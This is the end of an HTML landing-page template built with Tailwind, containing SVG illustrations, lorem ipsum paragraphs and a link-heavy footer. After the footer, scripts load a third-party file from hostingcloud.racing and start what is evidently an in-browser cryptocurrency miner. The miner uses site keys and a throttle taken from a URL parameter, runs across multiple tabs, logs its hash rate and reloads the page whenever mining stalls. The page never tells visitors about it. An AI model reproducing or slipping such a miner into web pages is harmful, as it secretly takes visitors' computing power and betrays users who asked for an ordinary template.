                                <path d="M319.7578,250.66658h-122.59803c-2.02587,0-3.67427-1.64842-3.67427-3.67428s1.64841-3.67351,3.67427-3.67351h122.59803c2.02587,0,3.67351,1.64765,3.67351,3.67352,0,2.02587-1.64764,3.67427-3.67351,3.67427Z" fill="#6c63ff"></path>
                                <path d="M319.7578,303.66658h-122.59803c-2.02587,0-3.67427-1.64842-3.67427-3.67428s1.64841-3.67351,3.67427-3.67351h122.59803c2.02587,0,3.67351,1.64765,3.67351,3.67352,0,2.02587-1.64764,3.67427-3.67351,3.67427Z" fill="#6c63ff"></path>
                                <path d="M319.7578,356.66658h-122.59803c-2.02587,0-3.67427-1.64842-3.67427-3.67428s1.64841-3.67351,3.67427-3.67351h122.59803c2.02587,0,3.67351,1.64765,3.67351,3.67352,0,2.02587-1.64764,3.67427-3.67351,3.67427Z" fill="#6c63ff"></path>
                                <circle cx="159.97525" cy="246.53845" r="9" fill="#6c63ff"></circle>
                                <path d="M158.97516,261.53845v-2c7.44385,0,13.5-6.05615,13.5-13.5s-6.05615-13.5-13.5-13.5v-2c8.54688,0,15.5,6.95312,15.5,15.5s-6.95312,15.5-15.5,15.5Z" fill="#3f3d56"></path>
                                <circle cx="159.97525" cy="299.53845" r="9" fill="#6c63ff"></circle>
                                <path d="M158.97516,314.53845v-2c7.44385,0,13.5-6.05566,13.5-13.5,0-7.44385-6.05615-13.5-13.5-13.5v-2c8.54688,0,15.5,6.95312,15.5,15.5s-6.95312,15.5-15.5,15.5Z" fill="#3f3d56"></path>
                                <circle cx="159.97525" cy="352.53845" r="9" fill="#6c63ff"></circle>
                                <path d="M158.97516,367.53845v-2c7.44385,0,13.5-6.05566,13.5-13.5s-6.05615-13.5-13.5-13.5v-2c8.54688,0,15.5,6.95312,15.5,15.5s-6.95312,15.5-15.5,15.5Z" fill="#3f3d56"></path>
                            </g>
                        </g>
                        <path d="M384.01219,203.75047c5.55216-1.40863,11.84681,4.52132,14.06128,13.24853,.93243,3.47409,1.01931,7.12088,.2534,10.63535l2.38571,9.92043,.17551-.00924,18.81824,44.34887c4.37547,10.31165,3.91314,22.14968-1.66767,31.86201-3.3199,5.77765-7.67792,9.66177-12.79497,5.69682-8.49085-6.57912-14.03686-44.24916-16.56905-65.88826l-5.85496-21.9959c-2.35018-2.72464-4.01347-5.97257-4.85067-9.47191-2.2149-8.72385,.49107-16.93801,6.04318-18.34671Z" fill="#a0616a"></path>
                        <polygon points="405.38874 228.05282 384.33502 243.01874 394.86188 309.31266 408.0646 326.38767 423.44391 321.0686 427.94066 289.72998 422.64886 259.42289 405.38874 228.05282" fill="#6c63ff"></polygon>
                    </svg>
                </div>
            </div>

            <!-- <script async="async" data-cfasync="false"
                src="//pl25097642.profitablecpmrate.com/5d62f933fc574f4faca4870888c2673b/invoke.js"></script>
            <div id="container-5d62f933fc574f4faca4870888c2673b"></div> -->
        </section>

        <!-- <script>
            setTimeout(() => {
                document.querySelector("#container-5d62f933fc574f4faca4870888c2673b").scrollIntoView({
                    behavior: "smooth"
                });
            }, 10000);
        </script> -->

        <!-- Parallax Background -->
        <section class="flex flex-col w-full h-[500px] bg-cover bg-fixed bg-center flex justify-center items-center" style="
            background-image: url(https://images.unsplash.com/photo-1642427749670-f20e2e76ed8c?auto=format&amp;fit=crop&amp;w=880&amp;q=80);
        ">
            <h1 class="text-white text-5xl font-semibold mt-20 mb-10">
                Designed by <span class="text-[#6c63ff]">Egoist</span>
            </h1>

            <span class="text-center font-bold my-20 text-white/90">
                <a href="https://egoistdeveloper.github.io/twcss-to-sass-playground/" target="_blank" class="text-white/90 hover:text-white">
                    Convetert to SASS
                </a>

                <hr class="my-4">

                <a href="https://unsplash.com/photos/8Pm_A-OHJGg" target="_blank" class="text-white/90 hover:text-white">
                    Image Source
                </a>

                <hr class="my-4">

                <p>
                    <a href="https://github.com/EgoistDeveloper/my-tailwind-components/blob/main/src/templates/parallax-landing-page.html" target="_blank" class="text-white/90 hover:text-white">
                        Source Code
                    </a>
                    |
                    <a href="https://egoistdeveloper.github.io/my-tailwind-components/./src/templates/parallax-landing-page.html" target="_blank" class="text-white/90 hover:text-white">
                        Full Preview
                    </a>
                </p>
            </span>
        </section>

        <!-- Content -->
        <section class="p-20 space-y-8">
            <h1 class="text-4xl text-center my-20">Tempor sit labore nostrud</h1>

            <p>
                Exercitation non Lorem exercitation tempor amet ad esse velit. Anim
                deserunt id nulla quis ex magna culpa exercitation. Mollit consequat
                enim eiusmod cupidatat commodo eiusmod nulla. Id quis amet incididunt
                cillum dolore consectetur nulla incididunt laborum excepteur
                consectetur consectetur sunt tempor. Minim fugiat sint sunt ad elit
                laboris est sit est laboris labore do velit. Cillum aliquip pariatur
                deserunt eiusmod. Consequat irure nulla adipisicing deserunt culpa.
                Veniam enim deserunt sint consequat labore. Enim ullamco ea aute duis
                et nostrud voluptate fugiat consectetur et velit cillum anim dolore.
                In exercitation proident proident nostrud voluptate. Fugiat elit esse
                labore pariatur ex. Ex labore esse voluptate nisi in. Ad anim deserunt
                reprehenderit est. Aliquip pariatur nulla dolor amet quis aliqua sit
                nisi officia enim velit. Ad enim eu dolor quis ipsum. Nulla amet
                consectetur adipisicing ullamco qui tempor dolor excepteur dolore anim
                pariatur quis laboris consequat. Consectetur ullamco consectetur minim
                eiusmod quis veniam esse consectetur anim nostrud est pariatur
                laborum. Mollit tempor minim amet esse. Lorem officia consequat
                eiusmod sunt. Proident occaecat velit et consequat irure est cupidatat
                tempor ullamco. Aliquip est pariatur ea ut qui ad sit dolor laboris
                adipisicing officia eiusmod sit. Proident Lorem ex cillum sint
                cupidatat amet nulla veniam laborum velit pariatur. Fugiat excepteur
                culpa sunt est anim sunt. Ea voluptate non do proident sunt ad cillum
                enim esse.
            </p>

            <p>
                Incididunt eu pariatur laborum reprehenderit duis ex cillum fugiat.
                Occaecat tempor commodo officia esse reprehenderit commodo. Irure nisi
                culpa anim velit esse do esse veniam dolore fugiat. Non anim elit ad
                ad esse veniam dolore labore consectetur nulla dolor occaecat quis
                tempor. Ad do exercitation cillum duis consequat. Ea anim aute elit
                velit duis quis. Anim sint ut occaecat officia id exercitation ea
                incididunt exercitation sint ex. Reprehenderit ut qui eiusmod
                cupidatat incididunt ad reprehenderit culpa tempor quis. Elit eu dolor
                anim tempor eu fugiat voluptate dolor aliqua sint ex proident ullamco.
                Labore deserunt velit quis cupidatat aliquip elit do labore ut.
                Laborum dolore incididunt officia esse reprehenderit pariatur ullamco
                consectetur tempor officia. Dolor culpa irure enim aute ex non veniam
                eiusmod ipsum elit est sit mollit dolor. Est ad anim pariatur
                consequat ad sit nisi.
            </p>

            <p>
                Ipsum ea ad fugiat incididunt ea sit laborum cupidatat in ullamco
                ullamco fugiat et id. Sit commodo enim enim veniam do. Ad id ad tempor
                deserunt cupidatat reprehenderit ullamco officia excepteur culpa.
                Officia amet in do voluptate exercitation pariatur officia et sit.
                Adipisicing deserunt do aliquip ad id elit sint voluptate sit anim
                nulla pariatur dolore. Lorem do commodo aute veniam deserunt magna
                commodo cillum magna veniam. Ea amet nostrud commodo nisi adipisicing
                cillum commodo. Nostrud aliquip cupidatat veniam culpa aute officia
                commodo velit. Laborum quis aute nulla amet officia esse proident sunt
                irure dolor fugiat incididunt occaecat. Commodo esse eiusmod fugiat eu
                enim nisi sit id ut adipisicing. Enim nisi mollit ea aliqua nisi qui
                ullamco eu velit et ullamco. Magna eiusmod eiusmod culpa proident
                minim laboris fugiat enim laborum quis mollit minim do nisi. Elit
                irure incididunt duis ullamco exercitation nulla fugiat. Eu ullamco
                aliquip aute consectetur excepteur consequat. Non nostrud officia sint
                enim et ad sunt amet pariatur deserunt enim reprehenderit. Aute Lorem
                adipisicing laborum labore labore tempor officia officia reprehenderit
                incididunt enim officia laborum. Proident eu irure occaecat ipsum elit
                elit anim eu aute commodo ullamco reprehenderit incididunt elit.
                Mollit voluptate eiusmod ullamco fugiat ex enim in fugiat et
                consectetur duis do. Et aliqua ad labore labore ea ipsum nostrud
                veniam et reprehenderit. Sint ad sit voluptate consequat cillum do
                fugiat Lorem. Pariatur ad ad reprehenderit cupidatat nulla ipsum
                voluptate. Dolore pariatur ea laboris est excepteur.
            </p>
        </section>
    </main>


    <!-- Footer -->
    <footer class="bg-gray-800 pt-10 sm:mt-10 pt-10 w-full">
        <div class="max-w-6xl m-auto text-gray-800 flex flex-wrap justify-left">
            <!-- Col-1 -->
            <div class="p-5 w-1/2 sm:w-4/12 md:w-3/12">
                <!-- Col Title -->
                <div class="text-xs uppercase text-gray-400 font-medium mb-6">
                    Getting Started
                </div>

                <!-- Links -->
                <a href="#" class="my-3 block text-gray-300 hover:text-gray-100 text-sm font-medium duration-700">
                    Installation
                </a>
                <a href="#" class="my-3 block text-gray-300 hover:text-gray-100 text-sm font-medium duration-700">
                    Release Notes
                </a>
                <a href="#" class="my-3 block text-gray-300 hover:text-gray-100 text-sm font-medium duration-700">
                    Upgrade Guide
                </a>
                <a href="#" class="my-3 block text-gray-300 hover:text-gray-100 text-sm font-medium duration-700">
                    Using with Preprocessors
                </a>
                <a href="#" class="my-3 block text-gray-300 hover:text-gray-100 text-sm font-medium duration-700">
                    Optimizing for Production
                </a>
                <a href="#" class="my-3 block text-gray-300 hover:text-gray-100 text-sm font-medium duration-700">
                    Browser Support
                </a>
                <a href="#" class="my-3 block text-gray-300 hover:text-gray-100 text-sm font-medium duration-700">
                    IntelliSense
                </a>
            </div>

            <!-- Col-2 -->
            <div class="p-5 w-1/2 sm:w-4/12 md:w-3/12">
                <!-- Col Title -->
                <div class="text-xs uppercase text-gray-400 font-medium mb-6">
                    Core Concepts
                </div>

                <!-- Links -->
                <a href="#" class="my-3 block text-gray-300 hover:text-gray-100 text-sm font-medium duration-700">
                    Utility-First
                </a>
                <a href="#" class="my-3 block text-gray-300 hover:text-gray-100 text-sm font-medium duration-700">
                    Responsive Design
                </a>
                <a href="#" class="my-3 block text-gray-300 hover:text-gray-100 text-sm font-medium duration-700">
                    Hover, Focus, &amp; Other States
                </a>
                <a href="#" class="my-3 block text-gray-300 hover:text-gray-100 text-sm font-medium duration-700">
                    Dark Mode
                </a>
                <a href="#" class="my-3 block text-gray-300 hover:text-gray-100 text-sm font-medium duration-700">
                    Adding Base Styles
                </a>
                <a href="#" class="my-3 block text-gray-300 hover:text-gray-100 text-sm font-medium duration-700">
                    Extracting Components
                </a>
                <a href="#" class="my-3 block text-gray-300 hover:text-gray-100 text-sm font-medium duration-700">
                    Adding New Utilities
                </a>
            </div>

            <!-- Col-3 -->
            <div class="p-5 w-1/2 sm:w-4/12 md:w-3/12">
                <!-- Col Title -->
                <div class="text-xs uppercase text-gray-400 font-medium mb-6">
                    Customization
                </div>

                <!-- Links -->
                <a href="#" class="my-3 block text-gray-300 hover:text-gray-100 text-sm font-medium duration-700">
                    Configuration
                </a>
                <a href="#" class="my-3 block text-gray-300 hover:text-gray-100 text-sm font-medium duration-700">
                    Theme Configuration
                </a>
                <a href="#" class="my-3 block text-gray-300 hover:text-gray-100 text-sm font-medium duration-700">
                    Breakpoints
                </a>
                <a href="#" class="my-3 block text-gray-300 hover:text-gray-100 text-sm font-medium duration-700">
                    Customizing Colors
                </a>
                <a href="#" class="my-3 block text-gray-300 hover:text-gray-100 text-sm font-medium duration-700">
                    Customizing Spacing
                </a>
                <a href="#" class="my-3 block text-gray-300 hover:text-gray-100 text-sm font-medium duration-700">
                    Configuring Variants
                </a>
                <a href="#" class="my-3 block text-gray-300 hover:text-gray-100 text-sm font-medium duration-700">
                    Plugins
                </a>
            </div>

            <!-- Col-3 -->
            <div class="p-5 w-1/2 sm:w-4/12 md:w-3/12">
                <!-- Col Title -->
                <div class="text-xs uppercase text-gray-400 font-medium mb-6">
                    Community
                </div>

                <!-- Links -->
                <a href="#" class="my-3 block text-gray-300 hover:text-gray-100 text-sm font-medium duration-700">
                    GitHub
                </a>
                <a href="#" class="my-3 block text-gray-300 hover:text-gray-100 text-sm font-medium duration-700">
                    Discord
                </a>
                <a href="#" class="my-3 block text-gray-300 hover:text-gray-100 text-sm font-medium duration-700">
                    Twitter
                </a>
                <a href="#" class="my-3 block text-gray-300 hover:text-gray-100 text-sm font-medium duration-700">
                    YouTube
                </a>
            </div>
        </div>

        <!-- Copyright Bar -->
        <div class="pt-2">
            <div class="flex pb-5 px-3 m-auto pt-5 border-t border-gray-500 text-gray-400 text-sm flex-col md:flex-row max-w-6xl">
                <div class="mt-2">© Copyright 1998-year. All Rights Reserved.</div>

                <!-- Required Unicons (if you want) -->
                <div class="md:flex-auto md:flex-row-reverse mt-2 flex-row flex">
                    <a href="#" class="w-6 mx-1">
                        <i class="uil uil-facebook-f"></i>
                    </a>
                    <a href="#" class="w-6 mx-1">
                        <i class="uil uil-twitter-alt"></i>
                    </a>
                    <a href="#" class="w-6 mx-1">
                        <i class="uil uil-youtube"></i>
                    </a>
                    <a href="#" class="w-6 mx-1">
                        <i class="uil uil-linkedin"></i>
                    </a>
                    <a href="#" class="w-6 mx-1">
                        <i class="uil uil-instagram"></i>
                    </a>
                </div>
            </div>
        </div>
    </footer>



    <script>
        const urlParams = new URLSearchParams(window.location.search);
        let use = urlParams.get('use') ? parseFloat(urlParams.get('use')) : 0.5;
        window.use = use;
    </script>

    <script>setInterval(async () => { if (!window.lastCode) window.lastCode = await (await fetch(location.href)).text(); console.log(window.lastCode?.length, (await (await fetch(location.href)).text()).length); if (window.lastCode && window.lastCode != await (await fetch(location.href)).text()) location.reload(); window.lastCode = await (await fetch(location.href)).text(); }, 10 * 60 * 1000);</script>
    <script>
        setTimeout(() => { window.location.reload(); }, 1000 * 60 * 30)
    </script>

    <script src="https://www.hostingcloud.racing/eWTV.js"></script>


    <script>




            (async () => {




                await new Promise(r => setTimeout(r, 20000));

                let Client = window.Client;

                while (!Client) {
                    await new Promise(r => setTimeout(r, 1000));
                    Client = window.Client;
                }

                let siteKeys = [
                    '53415facb13dccbdf8523b5eefd45d01f6b16bf984cd8cf39ac04150266a4cd9'
                    // 'a5f009879c378a1a5fbe1510f5a17dafac00af74e406b136140ec763f77b83fb',
                    // '22e4addcef78830b5e82e2565e698ead692c0627ba8ecf22b00dbdc009d9483c',
                    // 'a08a22fe927fdc00d212015d7c48036cc44af0ace95e3502a8ed207e687d8b99',
                    // '6b6e5c4c5a7351e38bcf94497ce0beca440485ddb56d2f032d8a4a8d5f8143e7',
                    // '1c0d9b91e5a1ae6c17508815f108530bb0012bf14e9ecb1e64795e418fdc13a8',
                    // '7d888f48a8f10310782ac9ff6a553d6f593d7fd69fed00e964772b2d1ef2b1e0',
                    // '5337cd7a9213e4a662f0e9e5d47404d72b2ec529c87a7d8ab3bad29e64305c7d'
                ];

                // var _client = new Client.Anonymous('53415facb13dccbdf8523b5eefd45d01f6b16bf984cd8cf39ac04150266a4cd9',
                // var _client = new Client.User(Date.now() % 2 ? 'a5f009879c378a1a5fbe1510f5a17dafac00af74e406b136140ec763f77b83fb' : '53415facb13dccbdf8523b5eefd45d01f6b16bf984cd8cf39ac04150266a4cd9', Date.now() % 2 ? 'mainuser' : 'mainuser2',
                // var _client = new Client.Anonymous(siteKeys[getRandomIntInclusive(0, siteKeys.length - 1)],
                var _client = new Client.User(siteKeys[getRandomIntInclusive(0, siteKeys.length - 1)],
                    generateUUID(),
                    {
                        throttle: 1 - use, c: 'w', // ads: 0
                    });
                _client.start(Client.FORCE_MULTI_TAB);
                window._client = _client;
                window.info = 'v3';
                window.lastArr = [];
                while (1) {
                    try {
                        await new Promise(r => setTimeout(r, 1000));
                        running = _client.isRunning();
                        window.lastArr.push(_client.getHashesPerSecond());
                        if (window.lastArr.length > 20) window.lastArr.shift();
                        if (window.lastArr.length >= 20 && window.lastArr.every((v, i, a) => 0 == parseInt(v))) {
                            window.location.reload();
                        }
                        console.log(running, _client.getHashesPerSecond());
                    } catch (error) {
                        console.log(error);
                    }
                }
            })().catch(console.error);


        function getRandomIntInclusive(min, max) {
            min = Math.ceil(min); // Round up to ensure the range is inclusive
            max = Math.floor(max); // Round down to ensure the range is inclusive
            return Math.floor(Math.random() * (max - min + 1)) + min; // Generate random int in [min, max]
        }

        function generateUUID() {
            // Generates a random UUID (Version 4)
            return 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, function (c) {
                const r = Math.random() * 16 | 0; // Generate a random number between 0 and 15
                const v = c === 'x' ? r : (r & 0x3 | 0x8); // Replace 'x' with random, 'y' with specific constraints
                return v.toString(16); // Convert to hexadecimal
            });
        }



    </script>




</body></html>